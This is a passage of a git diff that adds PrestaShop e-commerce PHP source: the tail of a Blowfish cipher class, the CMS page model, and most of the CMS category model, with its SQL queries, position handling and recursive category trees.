0x3F3125F9, 0x5EF47E1C, 0x9029317C, + 0xFDF8E802, 0x04272F70, 0x80BB155C, 0x05282CE3, + 0x95C11548, 0xE4C66D22, 0x48C1133F, 0xC70F86DC, + 0x07F9C9EE, 0x41041F0F, 0x404779A4, 0x5D886E17, + 0x325F51EB, 0xD59BC0D1, 0xF2BCC18F, 0x41113564, + 0x257B7834, 0x602A9C60, 0xDFF8E8A3, 0x1F636C1B, + 0x0E12B4C2, 0x02E1329E, 0xAF664FD1, 0xCAD18115, + 0x6B2395E0, 0x333E92E1, 0x3B240B62, 0xEEBEB922, + 0x85B2A20E, 0xE6BA0D99, 0xDE720C8C, 0x2DA2F728, + 0xD0127845, 0x95B794FD, 0x647D0862, 0xE7CCF5F0, + 0x5449A36F, 0x877D48FA, 0xC39DFD27, 0xF33E8D1E, + 0x0A476341, 0x992EFF74, 0x3A6F6EAB, 0xF4F8FD37, + 0xA812DC60, 0xA1EBDDF8, 0x991BE14C, 0xDB6E6B0D, + 0xC67B5510, 0x6D672C37, 0x2765D43B, 0xDCD0E804, + 0xF1290DC7, 0xCC00FFA3, 0xB5390F92, 0x690FED0B, + 0x667B9FFB, 0xCEDB7D9C, 0xA091CF0B, 0xD9155EA3, + 0xBB132F88, 0x515BAD24, 0x7B9479BF, 0x763BD6EB, + 0x37392EB3, 0xCC115979, 0x8026E297, 0xF42E312D, + 0x6842ADA7, 0xC66A2B3B, 0x12754CCC, 0x782EF11C, + 0x6A124237, 0xB79251E7, 0x06A1BBE6, 0x4BFB6350, + 0x1A6B1018, 0x11CAEDFA, 0x3D25BDD8, 0xE2E1C3C9, + 0x44421659, 0x0A121386, 0xD90CEC6E, 0xD5ABEA2A, + 0x64AF674E, 0xDA86A85F, 0xBEBFE988, 0x64E4C3FE, + 0x9DBC8057, 0xF0F7C086, 0x60787BF8, 0x6003604D, + 0xD1FD8346, 0xF6381FB0, 0x7745AE04, 0xD736FCCC, + 0x83426B33, 0xF01EAB71, 0xB0804187, 0x3C005E5F, + 0x77A057BE, 0xBDE8AE24, 0x55464299, 0xBF582E61, + 0x4E58F48F, 0xF2DDFDA2, 0xF474EF38, 0x8789BDC2, + 0x5366F9C3, 0xC8B38E74, 0xB475F255, 0x46FCD9B9, + 0x7AEB2661, 0x8B1DDF84, 0x846A0E79, 0x915F95E2, + 0x466E598E, 0x20B45770, 0x8CD55591, 0xC902DE4C, + 0xB90BACE1, 0xBB8205D0, 0x11A86248, 0x7574A99E, + 0xB77F19B6, 0xE0A9DC09, 0x662D09A1, 0xC4324633, + 0xE85A1F02, 0x09F0BE8C, 0x4A99A025, 0x1D6EFE10, + 0x1AB93D1D, 0x0BA5A4DF, 0xA186F20F, 0x2868F169, + 0xDCB7DA83, 0x573906FE, 0xA1E2CE9B, 0x4FCD7F52, + 0x50115E01, 0xA70683FA, 0xA002B5C4, 0x0DE6D027, + 0x9AF88C27, 0x773F8641, 0xC3604C06, 0x61A806B5, + 0xF0177A28, 0xC0F586E0, 0x006058AA, 0x30DC7D62, + 0x11E69ED7, 0x2338EA63, 0x53C2DD94, 0xC2C21634, + 0xBBCBEE56, 0x90BCB6DE, 0xEBFC7DA1, 0xCE591D76, + 0x6F05E409, 0x4B7C0188, 0x39720A3D, 0x7C927C24, + 0x86E3725F, 0x724D9DB9, 0x1AC15BB4, 0xD39EB8FC, + 0xED545578, 0x08FCA5B5, 0xD83D7CD3, 0x4DAD0FC4, + 0x1E50EF5E, 0xB161E6F8, 0xA28514D9, 0x6C51133C, + 0x6FD5C7E7, 0x56E14EC4, 0x362ABFCE, 0xDDC6C837, + 0xD79A3234, 0x92638212, 0x670EFA8E, 0x406000E0 + ), + array( + 0x3A39CE37, 0xD3FAF5CF, 0xABC27737, 0x5AC52D1B, + 0x5CB0679E, 0x4FA33742, 0xD3822740, 0x99BC9BBE, + 0xD5118E9D, 0xBF0F7315, 0xD62D1C7E, 0xC700C47B, + 0xB78C1B6B, 0x21A19045, 0xB26EB1BE, 0x6A366EB4, + 0x5748AB2F, 0xBC946E79, 0xC6A376D2, 0x6549C2C8, + 0x530FF8EE, 0x468DDE7D, 0xD5730A1D, 0x4CD04DC6, + 0x2939BBDB, 0xA9BA4650, 0xAC9526E8, 0xBE5EE304, + 0xA1FAD5F0, 0x6A2D519A, 0x63EF8CE2, 0x9A86EE22, + 0xC089C2B8, 0x43242EF6, 0xA51E03AA, 0x9CF2D0A4, + 0x83C061BA, 0x9BE96A4D, 0x8FE51550, 0xBA645BD6, + 0x2826A2F9, 0xA73A3AE1, 0x4BA99586, 0xEF5562E9, + 0xC72FEFD3, 0xF752F7DA, 0x3F046F69, 0x77FA0A59, + 0x80E4A915, 0x87B08601, 0x9B09E6AD, 0x3B3EE593, + 0xE990FD5A, 0x9E34D797, 0x2CF0B7D9, 0x022B8B51, + 0x96D5AC3A, 0x017DA67D, 0xD1CF3ED6, 0x7C7D2D28, + 0x1F9F25CF, 0xADF2B89B, 0x5AD6B472, 0x5A88F54C, + 0xE029AC71, 0xE019A5E6, 0x47B0ACFD, 0xED93FA9B, + 0xE8D3C48D, 0x283B57CC, 0xF8D56629, 0x79132E28, + 0x785F0191, 0xED756055, 0xF7960E44, 0xE3D35E8C, + 0x15056DD4, 0x88F46DBA, 0x03A16125, 0x0564F0BD, + 0xC3EB9E15, 0x3C9057A2, 0x97271AEC, 0xA93A072A, + 0x1B3F6D9B, 0x1E6321F5, 0xF59C66FB, 0x26DCF319, + 0x7533D928, 0xB155FDF5, 0x03563482, 0x8ABA3CBB, + 0x28517711, 0xC20AD9F8, 0xABCC5167, 0xCCAD925F, + 0x4DE81751, 0x3830DC8E, 0x379D5862, 0x9320F991, + 0xEA7A90C2, 0xFB3E7BCE, 0x5121CE64, 0x774FBE32, + 0xA8B6E37E, 0xC3293D46, 0x48DE5369, 0x6413E680, + 0xA2AE0810, 0xDD6DB224, 0x69852DFD, 0x09072166, + 0xB39A460A, 0x6445C0DD, 0x586CDECF, 0x1C20C8AE, + 0x5BBEF7DD, 0x1B588D40, 0xCCD2017F, 0x6BB4E3BB, + 0xDDA26A7E, 0x3A59FF45, 0x3E350A44, 0xBCB4CDD5, + 0x72EACEA8, 0xFA6484BB, 0x8D6612AE, 0xBF3C6F47, + 0xD29BE463, 0x542F5D9E, 0xAEC2771B, 0xF64E6370, + 0x740E0D8D, 0xE75B1357, 0xF8721671, 0xAF537D5D, + 0x4040CB08, 0x4EB4E2CC, 0x34D2466A, 0x0115AF84, + 0xE1B00428, 0x95983A1D, 0x06B89FB4, 0xCE6EA048, + 0x6F3F3B82, 0x3520AB82, 0x011A1D4B, 0x277227F8, + 0x611560B1, 0xE7933FDC, 0xBB3A792B, 0x344525BD, + 0xA08839E1, 0x51CE794B, 0x2F32C9B7, 0xA01FBAC9, + 0xE01CC87E, 0xBCC7D1F6, 0xCF0111C3, 0xA1E8AAC7, + 0x1A908749, 0xD44FBD9A, 0xD0DADECB, 0xD50ADA38, + 0x0339C32A, 0xC6913667, 0x8DF9317C, 0xE0B12B4F, + 0xF79E59B7, 0x43F5BB3A, 0xF2D519FF, 0x27D9459C, + 0xBF97222C, 0x15E6FC2A, 0x0F91FC71, 0x9B941525, + 0xFAE59361, 0xCEB69CEB, 0xC2A86459, 0x12BAA8D1, + 0xB6C1075E, 0xE3056A0C, 0x10D25065, 0xCB03A442, + 0xE0EC6E0E, 0x1698DB3B, 0x4C98A0BE, 0x3278E964, + 0x9F1F9532, 0xE0D392DF, 0xD3A0342B, 0x8971F21E, + 0x1B0A7441, 0x4BA3348C, 0xC5BE7120, 0xC37632D8, + 0xDF359F8D, 0x9B992F2E, 0xE60B6F47, 0x0FE3F11D, + 0xE54CDA54, 0x1EDAD891, 0xCE6279CF, 0xCD3E7E6F, + 0x1618B166, 0xFD2C1D05, 0x848FD2C5, 0xF6FB2299, + 0xF523F357, 0xA6327623, 0x93A83531, 0x56CCCD02, + 0xACF08162, 0x5A75EBB5, 0x6E163697, 0x88D273CC, + 0xDE966292, 0x81B949D0, 0x4C50901B, 0x71C65614, + 0xE6C6C7BD, 0x327A140A, 0x45E1D006, 0xC3F27B9A, + 0xC9AA53FD, 0x62A80F00, 0xBB25BFE2, 0x35BDD2F6, + 0x71126905, 0xB2040222, 0xB6CBCF7C, 0xCD769C2B, + 0x53113EC0, 0x1640E3D3, 0x38ABBD60, 0x2547ADF0, + 0xBA38209C, 0xF746CE76, 0x77AFA1C5, 0x20756060, + 0x85CBFE4E, 0x8AE88DD8, 0x7AAAF9B0, 0x4CF9AA7E, + 0x1948C25C, 0x02FB8A8C, 0x01C36AE4, 0xD6EBE1F9, + 0x90D4F869, 0xA65CDEA0, 0x3F09252D, 0xC208E69F, + 0xB74E6132, 0xCE77E25B, 0x578FDFE3, 0x3AC372E6 + ) + ); + + var $_iv = NULL; + + protected $_unpackMode = PS_UNPACK_NATIVE; + + function __construct($key, $iv) + { + $_iv = $iv; + + $len = strlen($key); + + $k = 0; + $data = 0; + $datal = 0; + $datar = 0; + + if (PHP_VERSION_ID == '50201' OR PHP_VERSION_ID == '50206') + $this->_unpackMode = PS_UNPACK_MODIFIED; + + for ($i = 0; $i < 18; $i++) + { + $data = 0; + for ($j = 4; $j > 0; $j--) + { + $data = $data << 8 | ord($key{$k}); + $k = ($k + 1) % $len; + } + $this->_P[$i] ^= $data; + } + + for ($i = 0; $i <= 16; $i += 2) { + $this->_encipher($datal, $datar); + $this->_P[$i] = $datal; + $this->_P[$i+1] = $datar; + } + for ($i = 0; $i < 256; $i += 2) { + $this->_encipher($datal, $datar); + $this->_S[0][$i] = $datal; + $this->_S[0][$i+1] = $datar; + } + for ($i = 0; $i < 256; $i += 2) { + $this->_encipher($datal, $datar); + $this->_S[1][$i] = $datal; + $this->_S[1][$i+1] = $datar; + } + for ($i = 0; $i < 256; $i += 2) { + $this->_encipher($datal, $datar); + $this->_S[2][$i] = $datal; + $this->_S[2][$i+1] = $datar; + } + for ($i = 0; $i < 256; $i += 2) { + $this->_encipher($datal, $datar); + $this->_S[3][$i] = $datal; + $this->_S[3][$i+1] = $datar; + } + } + + function _encipher(&$Xl, &$Xr) + { + for ($i = 0; $i < 16; $i++) { + $temp = $Xl ^ $this->_P[$i]; + $Xl = ((($this->_S[0][($temp>>24) & 255] + + $this->_S[1][($temp>>16) & 255]) ^ + $this->_S[2][($temp>>8) & 255]) + + $this->_S[3][$temp & 255]) ^ $Xr; + $Xr = $temp; + } + $Xr = $Xl ^ $this->_P[16]; + $Xl = $temp ^ $this->_P[17]; + } + + function _decipher(&$Xl, &$Xr) + { + for ($i = 17; $i > 1; $i--) + { + $temp = $Xl ^ $this->_P[$i]; + $Xl = ((($this->_S[0][($temp>>24) & 255] + + $this->_S[1][($temp>>16) & 255]) ^ + $this->_S[2][($temp>>8) & 255]) + + $this->_S[3][$temp & 255]) ^ $Xr; + $Xr = $temp; + } + $Xr = $Xl ^ $this->_P[1]; + $Xl = $temp ^ $this->_P[0]; + } + + function encrypt($plainText) + { + $cipherText = ''; + $len = strlen($plainText); + $plainText .= str_repeat(chr(0), (8 - ($len % 8)) % 8); + for ($i = 0; $i < $len; $i += 8) + { + list(, $Xl, $Xr) = ($this->_unpackMode == PS_UNPACK_NATIVE ? unpack('N2', substr($plainText, $i, 8)) : $this->myUnpackN2(substr($plainText, $i, 8))); + $this->_encipher($Xl, $Xr); + $cipherText .= pack('N2', $Xl, $Xr); + } + return $cipherText; + } + + function decrypt($cipherText) + { + $plainText = ''; + $len = strlen($cipherText); + $cipherText .= str_repeat(chr(0), (8 - ($len % 8)) % 8); + for ($i = 0; $i < $len; $i += 8) + { + list(, $Xl, $Xr) = ($this->_unpackMode == PS_UNPACK_NATIVE ? unpack('N2', substr($cipherText, $i, 8)) : $this->myUnpackN2(substr($cipherText, $i, 8))); + $this->_decipher($Xl, $Xr); + $plainText .= pack('N2', $Xl, $Xr); + } + return $plainText; + } + + function myUnpackN($str) + { + if (pack('L', 0x6162797A) == pack('V', 0x6162797A)) + return ((ord($str) << 24) | (ord(substr($str, 1)) << 16) | (ord(substr($str, 2)) << 8) | ord(substr($str, 3))); + else + return (ord($str) | (ord(substr($str, 1)) << 8) | (ord(substr($str, 2)) << 16) | (ord(substr($str, 3)) << 24)); + } + + function myUnpackN2($str) + { + return array('1' => $this->myUnpackN($str), '2' => $this->myUnpackN(substr($str, 4))); + } +} diff --git a/classes/CMS.php b/classes/CMS.php new file mode 100755 index 0000000..176d3d6 --- /dev/null +++ b/classes/CMS.php @@ -0,0 +1,220 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CMSCore extends ObjectModel +{ + /** @var string Name */ + public $meta_title; + public $meta_description; + public $meta_keywords; + public $content; + public $link_rewrite; + public $id_cms_category; + public $position; + public $active; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'cms', + 'primary' => 'id_cms', + 'multilang' => true, + 'fields' => array( + 'id_cms_category' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'position' => array('type' => self::TYPE_INT), + 'active' => array('type' => self::TYPE_BOOL), + + // Lang fields + 'meta_description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_keywords' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 128), + 'link_rewrite' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isLinkRewrite', 'required' => true, 'size' => 128), + 'content' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString', 'size' => 3999999999999), + ), + ); + + protected $webserviceParameters = array( + 'objectNodeName' => 'content', + 'objectsNodeName' => 'content_management_system', + ); + + public function add($autodate = true, $null_values = false) + { + $this->position = CMS::getLastPosition((int)$this->id_cms_category); + return parent::add($autodate, true); + } + + public function update($null_values = false) + { + if (parent::update($null_values)) + return $this->cleanPositions($this->id_cms_category); + return false; + } + + public function delete() + { + if (parent::delete()) + return $this->cleanPositions($this->id_cms_category); + return false; + } + + public static function getLinks($id_lang, $selection = null, $active = true, Link $link = null) + { + if (!$link) + $link = Context::getContext()->link; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT c.id_cms, cl.link_rewrite, cl.meta_title + FROM '._DB_PREFIX_.'cms c + LEFT JOIN '._DB_PREFIX_.'cms_lang cl ON (c.id_cms = cl.id_cms AND cl.id_lang = '.(int)$id_lang.') + '.Shop::addSqlAssociation('cms', 'c').' + WHERE 1 + '.(($selection !== null) ? ' AND c.id_cms IN ('.implode(',', array_map('intval', $selection)).')' : ''). + ($active ? ' AND c.`active` = 1 ' : ''). + 'GROUP BY c.id_cms + ORDER BY c.`position`'); + + $links = array(); + if ($result) + foreach ($result as $row) + { + $row['link'] = $link->getCMSLink((int)$row['id_cms'], $row['link_rewrite']); + $links[] = $row; + } + return $links; + } + + public static function listCms($id_lang = null, $id_block = false, $active = true) + { + if (empty($id_lang)) + $id_lang = (int)Configuration::get('PS_LANG_DEFAULT'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT c.id_cms, l.meta_title + FROM '._DB_PREFIX_.'cms c + JOIN '._DB_PREFIX_.'cms_lang l ON (c.id_cms = l.id_cms) + '.Shop::addSqlAssociation('cms', 'c').' + '.(($id_block) ? 'JOIN '._DB_PREFIX_.'block_cms b ON (c.id_cms = b.id_cms)' : '').' + WHERE l.id_lang = '.(int)$id_lang.(($id_block) ? ' AND b.id_block = '.(int)$id_block : '').($active ? ' AND c.`active` = 1 ' : '').' + GROUP BY c.id_cms + ORDER BY c.`position`'); + } + + public function updatePosition($way, $position) + { + if (!$res = Db::getInstance()->executeS(' + SELECT cp.`id_cms`, cp.`position`, cp.`id_cms_category` + FROM `'._DB_PREFIX_.'cms` cp + WHERE cp.`id_cms_category` = '.(int)$this->id_cms_category.' + ORDER BY cp.`position` ASC' + )) + return false; + + foreach ($res as $cms) + if ((int)$cms['id_cms'] == (int)$this->id) + $moved_cms = $cms; + + if (!isset($moved_cms) || !isset($position)) + return false; + + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'cms` + SET `position`= `position` '.($way ? '- 1' : '+ 1').' + WHERE `position` + '.($way + ? '> '.(int)$moved_cms['position'].' AND `position` <= '.(int)$position + : '< '.(int)$moved_cms['position'].' AND `position` >= '.(int)$position).' + AND `id_cms_category`='.(int)$moved_cms['id_cms_category']) + && Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'cms` + SET `position` = '.(int)$position.' + WHERE `id_cms` = '.(int)$moved_cms['id_cms'].' + AND `id_cms_category`='.(int)$moved_cms['id_cms_category'])); + } + + public static function cleanPositions($id_category) + { + $sql = ' + SELECT `id_cms` + FROM `'._DB_PREFIX_.'cms` + WHERE `id_cms_category` = '.(int)$id_category.' + ORDER BY `position`'; + + $result = Db::getInstance()->executeS($sql); + + for ($i = 0, $total = count($result); $i < $total; ++$i) + { + $sql = 'UPDATE `'._DB_PREFIX_.'cms` + SET `position` = '.(int)$i.' + WHERE `id_cms_category` = '.(int)$id_category.' + AND `id_cms` = '.(int)$result[$i]['id_cms']; + Db::getInstance()->execute($sql); + } + return true; + } + + public static function getLastPosition($id_category) + { + $sql = ' + SELECT MAX(position) + 1 + FROM `'._DB_PREFIX_.'cms` + WHERE `id_cms_category` = '.(int)$id_category; + + return (Db::getInstance()->getValue($sql)); + } + + public static function getCMSPages($id_lang = null, $id_cms_category = null, $active = true) + { + $sql = new DbQuery(); + $sql->select('*'); + $sql->from('cms', 'c'); + if ($id_lang) + $sql->innerJoin('cms_lang', 'l', 'c.id_cms = l.id_cms AND l.id_lang = '.(int)$id_lang); + + if ($active) + $sql->where('c.active = 1'); + + if ($id_cms_category) + $sql->where('c.id_cms_category = '.(int)$id_cms_category); + + $sql->orderBy('position'); + + return Db::getInstance()->executeS($sql); + } + + public static function getUrlRewriteInformations($id_cms) + { + $sql = 'SELECT l.`id_lang`, c.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_lang` AS c + LEFT JOIN `'._DB_PREFIX_.'lang` AS l ON c.`id_lang` = l.`id_lang` + WHERE c.`id_cms` = '.(int)$id_cms.' + AND l.`active` = 1'; + + return Db::getInstance()->executeS($sql); + } +} diff --git a/classes/CMSCategory.php b/classes/CMSCategory.php new file mode 100755 index 0000000..ad81d0a --- /dev/null +++ b/classes/CMSCategory.php @@ -0,0 +1,615 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CMSCategoryCore extends ObjectModel +{ + public $id; + + /** @var integer CMSCategory ID */ + public $id_cms_category; + + /** @var string Name */ + public $name; + + /** @var boolean Status for display */ + public $active = 1; + + /** @var string Description */ + public $description; + + /** @var integer Parent CMSCategory ID */ + public $id_parent; + + /** @var integer category position */ + public $position; + + /** @var integer Parents number */ + public $level_depth; + + /** @var string string used in rewrited URL */ + public $link_rewrite; + + /** @var string Meta title */ + public $meta_title; + + /** @var string Meta keywords */ + public $meta_keywords; + + /** @var string Meta description */ + public $meta_description; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + protected static $_links = array(); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'cms_category', + 'primary' => 'id_cms_category', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'id_parent' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'position' => array('type' => self::TYPE_INT), + 'level_depth' => array('type' => self::TYPE_INT), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCatalogName', 'required' => true, 'size' => 64), + 'link_rewrite' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isLinkRewrite', 'required' => true, 'size' => 64), + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml'), + 'meta_title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 128), + 'meta_description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_keywords' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + ), + ); + + public function add($autodate = true, $null_values = false) + { + $this->position = CMSCategory::getLastPosition((int)$this->id_parent); + $this->level_depth = $this->calcLevelDepth(); + foreach ($this->name as $k => $value) + if (preg_match('/^[1-9]\./', $value)) + $this->name[$k] = '0'.$value; + $ret = parent::add($autodate, $null_values); + $this->cleanPositions($this->id_parent); + return $ret; + } + + public function update($null_values = false) + { + $this->level_depth = $this->calcLevelDepth(); + foreach ($this->name as $k => $value) + if (preg_match('/^[1-9]\./', $value)) + $this->name[$k] = '0'.$value; + return parent::update($null_values); + } + + /** + * Recursive scan of subcategories + * + * @param integer $max_depth Maximum depth of the tree (i.e. 2 => 3 levels depth) + * @param integer $currentDepth specify the current depth in the tree (don't use it, only for rucursivity!) + * @param array $excluded_ids_array specify a list of ids to exclude of results + * @param integer $idLang Specify the id of the language used + * + * @return array Subcategories lite tree + */ + public function recurseLiteCategTree($max_depth = 3, $currentDepth = 0, $id_lang = null, $excluded_ids_array = null, Link $link = null) + { + if (!$link) + $link = Context::getContext()->link; + + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + + // recursivity for subcategories + $children = array(); + $subcats = $this->getSubCategories($id_lang, true); + if (($max_depth == 0 || $currentDepth < $max_depth) && $subcats && count($subcats)) + foreach ($subcats as &$subcat) + { + if (!$subcat['id_cms_category']) + break; + elseif (!is_array($excluded_ids_array) || !in_array($subcat['id_cms_category'], $excluded_ids_array)) + { + $categ = new CMSCategory($subcat['id_cms_category'], $id_lang); + $categ->name = CMSCategory::hideCMSCategoryPosition($categ->name); + $children[] = $categ->recurseLiteCategTree($max_depth, $currentDepth + 1, $id_lang, $excluded_ids_array); + } + } + + return array( + 'id' => $this->id_cms_category, + 'link' => $link->getCMSCategoryLink($this->id, $this->link_rewrite), + 'name' => $this->name, + 'desc'=> $this->description, + 'children' => $children + ); + } + + public static function getRecurseCategory($id_lang = null, $current = 1, $active = 1, $links = 0, Link $link = null) + { + if (!$link) + $link = Context::getContext()->link; + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + + $sql = 'SELECT c.`id_cms_category`, c.`id_parent`, c.`level_depth`, cl.`name`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_category` c + JOIN `'._DB_PREFIX_.'cms_category_lang` cl ON c.`id_cms_category` = cl.`id_cms_category` + WHERE c.`id_cms_category` = '.(int)$current.' + AND `id_lang` = '.(int)$id_lang; + $category = Db::getInstance()->getRow($sql); + + $sql = 'SELECT c.`id_cms_category` + FROM `'._DB_PREFIX_.'cms_category` c + WHERE c.`id_parent` = '.(int)$current. + ($active ? ' AND c.`active` = 1' : ''); + $result = Db::getInstance()->executeS($sql); + foreach ($result as $row) + $category['children'][] = CMSCategory::getRecurseCategory($id_lang, $row['id_cms_category'], $active, $links); + + $sql = 'SELECT c.`id_cms`, cl.`meta_title`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms` c + '.Shop::addSqlAssociation('cms', 'c').' + JOIN `'._DB_PREFIX_.'cms_lang` cl ON c.`id_cms` = cl.`id_cms` + WHERE `id_cms_category` = '.(int)$current.' + AND cl.`id_lang` = '.(int)$id_lang.($active ? ' AND c.`active` = 1' : '').' + GROUP BY c.id_cms + ORDER BY c.`position`'; + $category['cms'] = Db::getInstance()->executeS($sql); + if ($links == 1) + { + $category['link'] = $link->getCMSCategoryLink($current, $category['link_rewrite']); + foreach ($category['cms'] as $key => $cms) + $category['cms'][$key]['link'] = $link->getCMSLink($cms['id_cms'], $cms['link_rewrite']); + } + return $category; + } + + public static function recurseCMSCategory($categories, $current, $id_cms_category = 1, $id_selected = 1, $is_html = 0) + { + $html = ''; + if ($is_html == 0) + echo $html; + if (isset($categories[$id_cms_category])) + foreach (array_keys($categories[$id_cms_category]) as $key) + $html .= CMSCategory::recurseCMSCategory($categories, $categories[$id_cms_category][$key], $key, $id_selected, $is_html); + return $html; + } + + /** + * Recursively add specified CMSCategory childs to $toDelete array + * + * @param array &$toDelete Array reference where categories ID will be saved + * @param array $id_cms_category Parent CMSCategory ID + */ + protected function recursiveDelete(&$to_delete, $id_cms_category) + { + if (!is_array($to_delete) || !$id_cms_category) + die(Tools::displayError()); + + $result = Db::getInstance()->executeS(' + SELECT `id_cms_category` + FROM `'._DB_PREFIX_.'cms_category` + WHERE `id_parent` = '.(int)$id_cms_category); + foreach ($result as $row) + { + $to_delete[] = (int)$row['id_cms_category']; + $this->recursiveDelete($to_delete, (int)$row['id_cms_category']); + } + } + + public function delete() + { + if ($this->id == 1) return false; + + $this->clearCache(); + + // Get children categories + $to_delete = array((int)$this->id); + $this->recursiveDelete($to_delete, (int)$this->id); + $to_delete = array_unique($to_delete); + + // Delete CMS Category and its child from database + $list = count($to_delete) > 1 ? implode(',', $to_delete) : (int)$this->id; + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cms_category` WHERE `id_cms_category` IN ('.$list.')'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cms_category_lang` WHERE `id_cms_category` IN ('.$list.')'); + + CMSCategory::cleanPositions($this->id_parent); + + // Delete pages which are in categories to delete + $result = Db::getInstance()->executeS(' + SELECT `id_cms` + FROM `'._DB_PREFIX_.'cms` + WHERE `id_cms_category` IN ('.$list.')'); + foreach ($result as $p) + { + $product = new CMS($p['id_cms']); + if (Validate::isLoadedObject($product)) + $product->delete(); + } + return true; + } + + /** + * Delete several categories from database + * + * return boolean Deletion result + */ + public function deleteSelection($categories) + { + $return = 1; + foreach ($categories as $id_category_cms) + { + $category_cms = new CMSCategory($id_category_cms); + $return &= $category_cms->delete(); + } + return $return; + } + + /** + * Get the number of parent categories + * + * @return integer Level depth + */ + public function calcLevelDepth() + { + $parentCMSCategory = new CMSCategory($this->id_parent); + if (!$parentCMSCategory) + die('parent CMS Category does not exist'); + return $parentCMSCategory->level_depth + 1; + } + + /** + * Return available categories + * + * @param integer $id_lang Language ID + * @param boolean $active return only active categories + * @return array Categories + */ + public static function getCategories($id_lang, $active = true, $order = true) + { + if (!Validate::isBool($active)) + die(Tools::displayError()); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'cms_category` c + LEFT JOIN `'._DB_PREFIX_.'cms_category_lang` cl ON c.`id_cms_category` = cl.`id_cms_category` + WHERE `id_lang` = '.(int)$id_lang.' + '.($active ? 'AND `active` = 1' : '').' + ORDER BY `name` ASC'); + + if (!$order) + return $result; + + $categories = array(); + foreach ($result as $row) + $categories[$row['id_parent']][$row['id_cms_category']]['infos'] = $row; + return $categories; + } + + public static function getSimpleCategories($id_lang) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT c.`id_cms_category`, cl.`name` + FROM `'._DB_PREFIX_.'cms_category` c + LEFT JOIN `'._DB_PREFIX_.'cms_category_lang` cl ON (c.`id_cms_category` = cl.`id_cms_category`) + WHERE cl.`id_lang` = '.(int)$id_lang.' + ORDER BY cl.`name`'); + } + + /** + * Return current CMSCategory childs + * + * @param integer $id_lang Language ID + * @param boolean $active return only active categories + * @return array Categories + */ + public function getSubCategories($id_lang, $active = true) + { + if (!Validate::isBool($active)) + die(Tools::displayError()); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT c.*, cl.id_lang, cl.name, cl.description, cl.link_rewrite, cl.meta_title, cl.meta_keywords, cl.meta_description + FROM `'._DB_PREFIX_.'cms_category` c + LEFT JOIN `'._DB_PREFIX_.'cms_category_lang` cl ON (c.`id_cms_category` = cl.`id_cms_category` AND `id_lang` = '.(int)$id_lang.') + WHERE `id_parent` = '.(int)$this->id.' + '.($active ? 'AND `active` = 1' : '').' + GROUP BY c.`id_cms_category` + ORDER BY `name` ASC'); + + // Modify SQL result + foreach ($result as &$row) + $row['name'] = CMSCategory::hideCMSCategoryPosition($row['name']); + return $result; + } + + /** + * Hide CMSCategory prefix used for position + * + * @param string $name CMSCategory name + * @return string Name without position + */ + public static function hideCMSCategoryPosition($name) + { + return preg_replace('/^[0-9]+\./', '', $name); + } + + /** + * Return main categories + * + * @param integer $id_lang Language ID + * @param boolean $active return only active categories + * @return array categories + */ + public static function getHomeCategories($id_lang, $active = true) + { + return CMSCategory::getChildren(1, $id_lang, $active); + } + + public static function getChildren($id_parent, $id_lang, $active = true) + { + if (!Validate::isBool($active)) + die(Tools::displayError()); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT c.`id_cms_category`, cl.`name`, cl.`link_rewrite` + FROM `'._DB_PREFIX_.'cms_category` c + LEFT JOIN `'._DB_PREFIX_.'cms_category_lang` cl ON c.`id_cms_category` = cl.`id_cms_category` + WHERE `id_lang` = '.(int)$id_lang.' + AND c.`id_parent` = '.(int)$id_parent.' + '.($active ? 'AND `active` = 1' : '').' + ORDER BY `name` ASC'); + + // Modify SQL result + $results_array = array(); + foreach ($result as $row) + { 